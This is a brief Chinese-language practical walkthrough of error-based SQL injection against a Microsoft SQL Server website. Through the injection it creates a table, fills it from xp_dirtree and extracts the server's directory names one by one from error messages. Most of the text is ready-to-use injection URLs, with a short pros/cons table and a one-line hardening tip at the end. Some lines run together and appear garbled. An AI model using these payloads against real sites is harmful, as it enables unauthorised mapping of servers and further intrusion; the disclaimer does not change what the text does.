聲明:本文僅供安全研究與防禦參考,嚴禁用於非法入侵。
當目標網站僅開放 80 連接埠,且存在 SQL 注入點時,可利用 SQL Server 擴展預存程序 xp_dirtree 遍歷伺服器目錄結構,再透過錯誤回顯(Error-based)逐筆「爆出」目錄名稱。以下為實戰流程記錄。
xp_dirtree 'C:\' 可列出 C 槽所有目錄(含子目錄),權限為 PUBLIC,所有 SQL Server 使用者皆可呼叫。varchar -> int)將目錄名「爆」在錯誤訊息中。https://target/list.asp?id=1;create table dirs(paths varchar(1000))--https://target/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'---- 第一筆
https://target/list.asp?id=1 and 0<>(select top 1 paths from dirs)--
-- 錯誤訊息顯示:'@Inetpub'
-- 第二筆(排除已知)
https://target/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
-- 依此類推,每獲得一個名稱就加入 not in 列表
若目錄名為純數字(如 59),直接 0<> 可能不報錯(因隱含轉換成功)。改用大小比較快速定位:
https://target/list.asp?id=1 and 100>(select top 1 paths from dirs)--
https://target/list.asp?id=1 and 59=(select top 1 paths from dirs)-- 確認名稱
-- 排除時注意前導零:'059' ≠ '59'
| 優點 | 缺點 |
|---|---|
| 所有 SQL Server 版本通用(PUBLIC 權限) | 一次列出所有層級目錄,無序、數量龐大,人工篩選極難 |
| 無需 sa 權限 | 無法直接得知目錄完整路徑,需靠運氣猜測 Web 根目錄 |
xp_dirtree(sp_dropextendedproc 'xp_dirtree'),但需注意會影響資料庫附加/還原功能。